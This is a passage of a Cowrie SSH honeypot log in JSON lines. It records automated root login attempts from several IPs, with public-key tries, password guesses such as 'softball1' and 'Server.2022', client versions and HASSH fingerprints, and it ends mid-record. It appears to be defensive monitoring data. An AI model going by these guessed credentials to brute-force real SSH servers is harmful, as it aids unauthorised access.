{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.803687Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:08:95:c1:ce:f7:22:12:ed:b1:df:3b:28:24:8f:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINHiD+AF+uTplie7QGB+gAybmWykpha6hln9akkvusfl","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2e:08:95:c1:ce:f7:22:12:ed:b1:df:3b:28:24:8f:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.917853Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:08:95:c1:ce:f7:22:12:ed:b1:df:3b:28:24:8f:dd","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINHiD+AF+uTplie7QGB+gAybmWykpha6hln9akkvusfl","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.921213Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:71:09:9e:81:b3:7d:ad:38:60:1a:b2:a4:cf:39:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDp93FbabgMbWm10yVAnJzawkJQYqBQ0oRvPgpm400MN+0MCcPCtn8GhW2ddqHoyis8ZjQ7GV8sR2vrVSYOJLlXqrQqL6sBiCtnq7P5oTCZdhIWE9KvZRQAdHMxEh5MCONtqHguPq3iey5d8xom+vPV93EHovVriEGR+mJ8w4ogMBbOqD+VNAU8aAJgHvdLHWH1wdxtYe2M7ErSE2O25eHWBySv8jDtHT396GKmJkJSLuJ4L0pkdltuaeEz7zGRHZYtYApaVPDu4Q6gltAAEZaZjj3IAxwh6lUMOtxtPIjhd3X62PJb/zJqps3VJdK9geQdIrZWf+eYKg4xOSG2bFmd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:71:09:9e:81:b3:7d:ad:38:60:1a:b2:a4:cf:39:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.948658Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:71:09:9e:81:b3:7d:ad:38:60:1a:b2:a4:cf:39:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDp93FbabgMbWm10yVAnJzawkJQYqBQ0oRvPgpm400MN+0MCcPCtn8GhW2ddqHoyis8ZjQ7GV8sR2vrVSYOJLlXqrQqL6sBiCtnq7P5oTCZdhIWE9KvZRQAdHMxEh5MCONtqHguPq3iey5d8xom+vPV93EHovVriEGR+mJ8w4ogMBbOqD+VNAU8aAJgHvdLHWH1wdxtYe2M7ErSE2O25eHWBySv8jDtHT396GKmJkJSLuJ4L0pkdltuaeEz7zGRHZYtYApaVPDu4Q6gltAAEZaZjj3IAxwh6lUMOtxtPIjhd3X62PJb/zJqps3VJdK9geQdIrZWf+eYKg4xOSG2bFmd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.952115Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:6e:7f:0b:cf:60:27:ea:c4:89:61:8f:4e:2c:14:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoT/2ZSCERdyQ6HKKw+Z7aqwAY0PcyT19HZ2OXDeCcsVVRc00lzdDAI58B65fwh6e2OtNgkocS8DQXI5H6fSmiL9IkcpnoP5RLgKaZqx7eLkImDhcIULZ0Gw8AM6tpNvTw4/JosyHnDAFsO5ip7MKx7p3GLarZ8Dez5c8N8MnH+PqefdVQ2Ocb87xlAlYywakA9A+2DYWO1x/PgteY+LFTnaMio+INU0mp0bSAZjo1tSIePIoGp62O7fsd+5BEuxS1uwRRTqtcNV0XaLYrNrH0K/sdVKuBdrHVd2DwAHaPL0dXmqMAfYe35OCQ1fHwkarZwI9d35IjJd9LKxCz3hj1MBKgIUsCIXjhcKmEhbXe31kNzvMXCVNgMx3VSp353fmZJ4X89oquh72v+aIbf12omMgdDV/CL9cOHNBt5A0ckmX161uaWcpBKkTkc3bJsz+YSFlHzuPOVxN2Vga4u44CS8GSEBz94+x5on5XxkFOWOglVPngvAAZGPtJ+OSkJjlfRT4akcD35QheKDHO67Qbg8mw5aGJ/54R5RYEY4riUZlw+o54XJ9W/1Zo94pB7fcAYkm1RXdmXeVzKz9CPK6IhNNVM4gTKn9eJEliUkZjqFRJ3IQmLLTFoymQIrjsYW968+V9NL9Iq4Lw8eKYw4diVydOWIPdKMuB5N7Zqgzwhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:6e:7f:0b:cf:60:27:ea:c4:89:61:8f:4e:2c:14:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.979951Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:6e:7f:0b:cf:60:27:ea:c4:89:61:8f:4e:2c:14:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCoT/2ZSCERdyQ6HKKw+Z7aqwAY0PcyT19HZ2OXDeCcsVVRc00lzdDAI58B65fwh6e2OtNgkocS8DQXI5H6fSmiL9IkcpnoP5RLgKaZqx7eLkImDhcIULZ0Gw8AM6tpNvTw4/JosyHnDAFsO5ip7MKx7p3GLarZ8Dez5c8N8MnH+PqefdVQ2Ocb87xlAlYywakA9A+2DYWO1x/PgteY+LFTnaMio+INU0mp0bSAZjo1tSIePIoGp62O7fsd+5BEuxS1uwRRTqtcNV0XaLYrNrH0K/sdVKuBdrHVd2DwAHaPL0dXmqMAfYe35OCQ1fHwkarZwI9d35IjJd9LKxCz3hj1MBKgIUsCIXjhcKmEhbXe31kNzvMXCVNgMx3VSp353fmZJ4X89oquh72v+aIbf12omMgdDV/CL9cOHNBt5A0ckmX161uaWcpBKkTkc3bJsz+YSFlHzuPOVxN2Vga4u44CS8GSEBz94+x5on5XxkFOWOglVPngvAAZGPtJ+OSkJjlfRT4akcD35QheKDHO67Qbg8mw5aGJ/54R5RYEY4riUZlw+o54XJ9W/1Zo94pB7fcAYkm1RXdmXeVzKz9CPK6IhNNVM4gTKn9eJEliUkZjqFRJ3IQmLLTFoymQIrjsYW968+V9NL9Iq4Lw8eKYw4diVydOWIPdKMuB5N7Zqgzwhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:47.985859Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:7f:d8:7e:e7:3f:bf:e6:bd:2d:59:77:87:98:c1:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPVPDjkgwlWQZpOlk7/hUUmYje/5WkO4JlV7n+TK1cnoVJk/nYbvfGKbhIRPg3gEzSBDoikEx1Jv9nMFUA02uk2f9LimTyEeiu6CJz69GFg6LG25hoF7/C3vBabkryYBqL8/pZyobAkIasdFF5zI6hSvcjxBjvzz1a7aKA0EEU+kZr0ryjUPyi1bNIoZ+oOWQX7bt4VCQVOo8j61aW0Y7aRjReobNYYRwtmmHF2Xh1spV4hGu5CUkNHRuuNfLdu9HdAeNNR81fWZC/MoBE+qp3QwOcY6X2rYzbDfDs3T1DFI9u/c+IuFJ6ZknZtvc5akIuSYhKecgRLi9HVSklMW8P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:7f:d8:7e:e7:3f:bf:e6:bd:2d:59:77:87:98:c1:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:48.013676Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:7f:d8:7e:e7:3f:bf:e6:bd:2d:59:77:87:98:c1:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPVPDjkgwlWQZpOlk7/hUUmYje/5WkO4JlV7n+TK1cnoVJk/nYbvfGKbhIRPg3gEzSBDoikEx1Jv9nMFUA02uk2f9LimTyEeiu6CJz69GFg6LG25hoF7/C3vBabkryYBqL8/pZyobAkIasdFF5zI6hSvcjxBjvzz1a7aKA0EEU+kZr0ryjUPyi1bNIoZ+oOWQX7bt4VCQVOo8j61aW0Y7aRjReobNYYRwtmmHF2Xh1spV4hGu5CUkNHRuuNfLdu9HdAeNNR81fWZC/MoBE+qp3QwOcY6X2rYzbDfDs3T1DFI9u/c+IuFJ6ZknZtvc5akIuSYhKecgRLi9HVSklMW8P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:48.018112Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:34:7b:2b:77:a3:a1:7f:bd:cf:22:e3:b2:8f:a3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5t4CZ87IcRcBb1dHjUXtOV0tg5LtbZ/VooVfOKpilAC78tZwyGy12U7NvrtplvsMONC5Nlcm4WffoMmUNvLB5A8cDWsx4U7tahmxIms96ZninNXu0iII90uq2+u8NGpFMc8u0kI99478A0xQ6supHW+ua6RZMbhbk+aZhU5l+/gChC9sz7LCl8cZt6m9yhID4qWEbH8NISDGpLbnPxymAIihu7jjt9L2q8AjtRiaEXxpHWHVRI0xahvxhq7kfatWFYOQqV7jm0dkPqthtY40BK1579Y/ctbqUXPR+bj8U2tSu320dGbwupDvSg0o/MyhorNcPlHYK2P/lF/nk/Xm4H2rw70/E9ja4IIBskoo28/l0jy5CH2T3TUof7RfpMm2Hk/zEXs9pLyrdrQQbp+mIwyKgjntEdYBB1MDDKm+qJL6ucY9WkN/FHZ38BYslvsoRY97DjkJ0Z0rQ93QoEqhD8tFyQdgWZ6pyRZzEcC3AJw7cVCWz/rsFGSuYYcGbO1Pp+23/6n9zlyL/n4XKNriw77TVAnV/eSTgDqUUCT8JTvRAmwYei3urStaJlufQ3VMbwbItmvQ2T67AJj5+pnD1t412Dl1nNk28kMn+smaa/OyZ5jFZOlk7mm/ee7QNZ6oFoGw/mKRMruGALman7y6wXRrOR/u/9rwTNmEyu0Z/Iw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:34:7b:2b:77:a3:a1:7f:bd:cf:22:e3:b2:8f:a3:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:48.046461Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:34:7b:2b:77:a3:a1:7f:bd:cf:22:e3:b2:8f:a3:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5t4CZ87IcRcBb1dHjUXtOV0tg5LtbZ/VooVfOKpilAC78tZwyGy12U7NvrtplvsMONC5Nlcm4WffoMmUNvLB5A8cDWsx4U7tahmxIms96ZninNXu0iII90uq2+u8NGpFMc8u0kI99478A0xQ6supHW+ua6RZMbhbk+aZhU5l+/gChC9sz7LCl8cZt6m9yhID4qWEbH8NISDGpLbnPxymAIihu7jjt9L2q8AjtRiaEXxpHWHVRI0xahvxhq7kfatWFYOQqV7jm0dkPqthtY40BK1579Y/ctbqUXPR+bj8U2tSu320dGbwupDvSg0o/MyhorNcPlHYK2P/lF/nk/Xm4H2rw70/E9ja4IIBskoo28/l0jy5CH2T3TUof7RfpMm2Hk/zEXs9pLyrdrQQbp+mIwyKgjntEdYBB1MDDKm+qJL6ucY9WkN/FHZ38BYslvsoRY97DjkJ0Z0rQ93QoEqhD8tFyQdgWZ6pyRZzEcC3AJw7cVCWz/rsFGSuYYcGbO1Pp+23/6n9zlyL/n4XKNriw77TVAnV/eSTgDqUUCT8JTvRAmwYei3urStaJlufQ3VMbwbItmvQ2T67AJj5+pnD1t412Dl1nNk28kMn+smaa/OyZ5jFZOlk7mm/ee7QNZ6oFoGw/mKRMruGALman7y6wXRrOR/u/9rwTNmEyu0Z/Iw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:48.051031Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:48.079410Z","src_ip":"179.61.232.245","session":"ce6a62d4f315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server.2022","message":"login attempt [root/Server.2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:54.325063Z","src_ip":"213.209.159.158","session":"a3a139687d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:57.825722Z","src_ip":"213.209.159.158","session":"a3a139687d42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":3520,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa267f5b78c4","protocol":"ssh","message":"New connection: 213.209.159.158:3520 (10.17.0.5:22) [session: aa267f5b78c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:12:57.935594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:00.547895Z","src_ip":"213.209.159.158","session":"aa267f5b78c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:00.551444Z","src_ip":"213.209.159.158","session":"aa267f5b78c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softball1","message":"login attempt [root/softball1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:10.231069Z","src_ip":"213.209.159.158","session":"aa267f5b78c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:13.915658Z","src_ip":"213.209.159.158","session":"aa267f5b78c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":7976,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd4032cd23bf","protocol":"ssh","message":"New connection: 213.209.159.158:7976 (10.17.0.5:22) [session: cd4032cd23bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:14.019804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:16.492254Z","src_ip":"213.209.159.158","session":"cd4032cd23bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:16.496330Z","src_ip":"213.209.159.158","session":"cd4032cd23bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43640,"dst_ip":"10.17.0.5","dst_port":22,"session":"4289f9233bee","protocol":"ssh","message":"New connection: 194.59.206.2:43640 (10.17.0.5:22) [session: 4289f9233bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:24.071440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:24.076724Z","src_ip":"194.59.206.2","session":"4289f9233bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:24.163167Z","src_ip":"194.59.206.2","session":"4289f9233bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:24.253715Z","src_ip":"194.59.206.2","session":"4289f9233bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shana","message":"login attempt [root/shana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:26.054009Z","src_ip":"213.209.159.158","session":"cd4032cd23bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:29.460860Z","src_ip":"213.209.159.158","session":"cd4032cd23bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":40442,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff625093b710","protocol":"ssh","message":"New connection: 213.209.159.158:40442 (10.17.0.5:22) [session: ff625093b710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:29.570496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:13:31.788385Z","src_ip":"213.209.159.158","session":"ff625093b710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac